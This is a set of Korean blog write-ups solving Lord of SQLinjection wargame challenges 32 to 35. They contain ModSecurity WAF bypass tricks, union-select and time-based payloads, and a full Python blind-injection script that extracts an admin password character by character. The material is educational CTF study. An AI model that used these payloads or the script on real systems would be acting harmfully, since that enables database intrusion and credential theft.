이번 문제 역시, 33 34번 문제를 풀었으면 그것을 이용하는 것이 좋다.

ModSecurity 방화벽을 우회하는 것이 핵심이다. 단, 이전 문제들과 다르게 union select도 우회해야 한다.

문제를 보면 id값에는 first가, pw값에는 second 값이 들어와야 한다. 

LOS 문제 구조상 2개의 필드가 있을 것이며, 1번 필드는 ID , 2번 필드는 PW가 있을 것이다. union select를 통해 각각 값을 추가하도록 만들면 된다.

위에 예시처럼 기존에는 값이 없지만 union select를 통해 행을 추가해줄 수 있다. 

*union select 문을 쿼리로 사용할 때는 and로 연결하지 않는다! (괜히 and 썼다가 시간만 쓰고 ;; 안 풀렸..)

이전에 필터링을 우회한 구문 <@=1 or {a 1}=1 과 union select문을 이어주면 된다.

이때, 그냥 그대로 union select 를 쓰면 방화벽에 걸린다.. 그래서 이 부분도 우회해줘야 하는데, 공백을 /**/로 변경하고 넘겼더니 잘 풀림!!

/**/ 외에도 (), %0d, %0a 로도 쓰는 방법이 있는데 /**/만 되더라. 

 

암튼..성공

'WEB > Lord of SQLinjection' 카테고리의 다른 글

[LOS] step37. manticore 풀이  (1) 2023.10.18
[LOS] step36. chupacabra 풀이  (1) 2023.10.18
[LOS] step34. godzilla 풀이  (0) 2023.10.17
[LOS] step33. cthulhu풀이  (0) 2023.08.31
[LOS] step32. alien풀이  (0) 2023.08.30

이전 33번과 동일하게 방화벽을 우회하는 문제이다.

무난하게 페이로드를 작성하고 던지면, 다음과 같이 Forbidden 에러를 확인할 수 있다.

 

이전에 배운 방화벽 우회 payload를 사용해보자.

- { a 1 } (true)
- <@ = 1 (false)

id값은 임의로 설정한 후 false를 만든 후에 or 연산자로 {a 1}=1를 이용해 참 값으로 들어가도록 설정한다. 그러면 Hello admin이 응답값에 찍히게 된다.

이 문제를 풀기 위해선 blind injection을 시도한다.
그러면 이거는 pw를 한 글자씩 뽑아내서 구하는 자동화코드를 짜는 게 편하다.

import requests

url ="https://modsec.rubiya.kr/chall/godzilla_799f2ae774c76c0bfd8429b8d5692918.php?" #공격URL
cookies ={"PHPSESSID": ""} #쿠키값

#패스워드 길이 찾기
def pw_len():
    len_num = 0

    while 1 :
        len_num = len_num + 1
        value = "123'<@=1 or id='admin' and length(pw)={} or'".format(len_num) #injection payload
        parmas = {'id': value}      #url에 GET으로 전달하는 파라미터
        response = requests.get(url,params=parmas, cookies=cookies)
        print(len_num)


        if "Hello admin" in response.text:    #응답값에 Hello admin이 있으면 반환
            print("password length : ", len_num)
            break
    return len_num

def pw_real(len_num):
    pw=''
    for i in range(1,len_num+1):
        print(i,"번째 검색 중")

        for j in range(48, 122):  #아스키코드값 48번부터 122번
 
        
            value = "123'<@=1 or id='admin' and ascii(substr(pw,{},1))={} or'".format(i,j)           #injection payload 
            parmas = {'id':value}
            response = requests.get(url, params=parmas, cookies=cookies)
            print(j)

            if "Hello admin" in response.text:       #응답값에 Hello admin이 있으면 반환
                pw = pw + chr(j)    #chr(): 아스키코드값 -> 문자
                print("password  : ", pw)
                break
    return pw




pw_real(pw_len())

한 글자씩 뽑기

성공...

'WEB > Lord of SQLinjection' 카테고리의 다른 글

[LOS] step36. chupacabra 풀이  (1) 2023.10.18
[LOS] step35. cyclops 풀이  (0) 2023.10.18
[LOS] step33. cthulhu풀이  (0) 2023.08.31
[LOS] step32. alien풀이  (0) 2023.08.30
[LOS] step31. ZOMBIE 풀이  (0) 2023.07.11

이번 문제는 방화벽을 우회하는 문제이다.

기본적인 필터링은 admin 문자열만 필터링하고 있다. 어쨌든 전달되는 파라미터 id값만 방화벽에서 필터링되지 않고 넘어가면 된다.

payload: ?id=1234' or 1=1 #

가장 기본적인 sql injection payload를 넣어주면 forbidden 으로 WAF에서 걸린다.

 

이번에 방화벽을 우회하는 payload에 대해 배웠다.
- { a 1 } (true)
- <@ = 1 (false)

 

먼저 {a , 1} 구문에 대해 이해해보자.

select {a, 1} =1 일 때 참을 반환하고 1이 아닌 값이 들어오면 거짓을 반환한다.

select {a, (select 1)} = 1 도 같은 원리로 동작

 

그다음으로 <@= 1  구문은 다음과 같다.

id = 1 <@=1 이 오면 아예 구문 오류는 발생하지 않지만 거짓을 반환한다.

그래서 두 구문을 or 로 조합하면 참이 된다.

 

 

 

성공..

 

참고 

https://github.com/SpiderLabs/owasp-modsecurity-crs/issues/1181

 

'WEB > Lord of SQLinjection' 카테고리의 다른 글

[LOS] step35. cyclops 풀이  (0) 2023.10.18
[LOS] step34. godzilla 풀이  (0) 2023.10.17
[LOS] step32. alien풀이  (0) 2023.08.30
[LOS] step31. ZOMBIE 풀이  (0) 2023.07.11
[LOS] step30. ouroboros 풀이  (0) 2023.07.05

## 조건 ##

1) query 2개 존재 → 1개의 요청으로 2개의 쿼리 동작시키기
2) 필터링 대상 : admin and or if coalesce case _ prob time 

입력값 no에 대한 특이한 조건사항이 있다

1) query1 admin이어야 한다.
2) query1 admin이 아니어야 한다.
3) query2 admin이 아니어야 한다.
4) query2 admin이어야 한다. 

조건 1에 맞추기 위해서 위 조건사항을 조금 바꿔서 살펴보면 아래와 같다.

admin → admin X → admin X → admin 

 

어려워서 다른 풀이를 조금 참고해서 보니.. 시간차 공격을 해야 하는 것 같다. 그래서 time을 필터링하기에 시간지연 함수가 필요하다.  → sleep()과 같은..

 

일단, 1번의 요청으로 전혀 다른 결과를 보이도록 쿼리를 짜야 한다.

차근차근시도해야 한다.일단 query1은 싱글쿼터로 감싸지 않고 query2는 싱글쿼터가 존재한다. 이 점을 이용하자

?no=1 union select 1#' union select '1

위와 같은 payload를 입력한다면
첫번째 쿼리에서는 # 이하는 모두 주석처리가 되고..
두번째 쿼리에서는 ' 1 union select 1# ' 사이를 모두 묶게 되고 그 뒤에 있는 union select '1'이 실행된다.

그렇다면 1이 있는 자리에 admin이 시간차로 들어오도록 하면 된다.

?no=1 union select admin#' union select 'admin

하지만 if, case when 과 같은 조건문과 함께 시간지연함수를 쓸 수 없다ㅠㅠ
그래서 조건문 없이 시간차 공격을 할 수 있는 구문이 바로 !sleep(1)&&now%2=1 이다

1. sleep(?)함수는 어쨌든 결과가 항상 0 반환
2. now%2=1 은 현재시간에 따라 0 또는 1 반환

하지만 sleep()함수를 그대로 사용하면 0 and 0과 1이 되는데, 0과 and연산은 무조건 결과값이 0 이 나온다.

그래서 앞에 !sleep() 로 표현하여 시간차에 따라 0 또는 1을 반환하도록 한다. 

아래는 실제 테스트 결과이다.

 

시간차에 따라 0과 1를 바꿔주며 admin을 표현해야 하는데.. 이때 16진수로 표현해서 쿼리를 작성한다.

admin  => (16진수) 0x61646d696e
           => (10진수) 97,100,109,105,110

정답을 찾아보니 hex()함수와 시간차 공격을 이용하여 문제를 풀었다는 점에 대한 이해가 필요하다. 


hex() 함수 : 정수에 해당하는 16진수 문자열 리턴

hex는 16진수 (0~9ABCDEF)까지로만 표현이 가능하므로, A를 lower()함수를 이용하여 소문자로 변환해서 사용해야 한다.

lower(hex(10)) : A → a      lower(hex(11)) : B → b 

lower(hex(10+( !sleep(1)&&now()%2=1) ))  시간차에 의해 반환값이 10+0 또는 10+1 , 시간에 따라 a 또는 b를 출력함

 

그 후, concat()함수를 이용하여 'admin'을 생성한다. 

concat(lower(hex(10+( !sleep(1)&&now()%2=1) )), 0x646d696e)

시간에 따라 admin이 될 수도 있고, bdmin이 될 수도 있다. 

첫번째 쿼리에 bdmin, 두번째 쿼리에 admin이 들어가도록 하면 된다.

 

처음 작성했던 ?no=1 union select 1#' union select '1 쿼리에 위에서 만든 조건문을 넣어보자

?no=1 union select concat(lower(hex(10+( !sleep(1)&&now()%2=1) )), 0x646d696e)#' union select concat(lower(hex(10+( !sleep(1)&&now()%2=1) )), 0x646d696e)#

 

이렇게 작성하면 결론적으로 실제 쿼리에 들어가는 값은,  admin -> bdmin -> admin -> bdmin  이다.

우리가 맞춰야 하는 조건은 admin → admin X → admin X → admin  인데.. 이렇게 되면 조건이 맞지 않게 된다.hex(10) → hex(11) → hex(10) → hex(11) .. 이렇게 들어가는 것을 다음과 같이 바꿔야 한다.

hex(10) → hex(11) → hex(9) → hex(10) .. 또는  hex(10) → hex(11) → hex(11) → hex(10) .. 

그래서 페이로드는 다음과 같이 나올 수 있다.

?no=1 union select concat(lower(hex(10+( !sleep(1)&&now()%2=1) )), 0x646d696e)#' union select concat(lower(hex(9+( !sleep(1)&&now()%2=1) )), 0x646d696e)#

또는

?no=1 union select concat(lower(hex(10+( !sleep(1)&&now()%2=1) )), 0x646d696e)#' union select concat(lower(hex(11-( !sleep(1)&&now()%2=1) )), 0x646d696e)#

 시간에 따라  admin → admin X → admin X → admin 이 가능하다.

'WEB > Lord of SQLinjection' 카테고리의 다른 글

[LOS] step34. godzilla 풀이  (0) 2023.10.17
[LOS] step33. cthulhu풀이  (0) 2023.08.31
[LOS] step31. ZOMBIE 풀이  (0) 2023.07.11
[LOS] step30. ouroboros 풀이  (0) 2023.07.05
[LOS] step28. FRANKENSTEIN 풀이  (0) 2023.07.03

+ Recent posts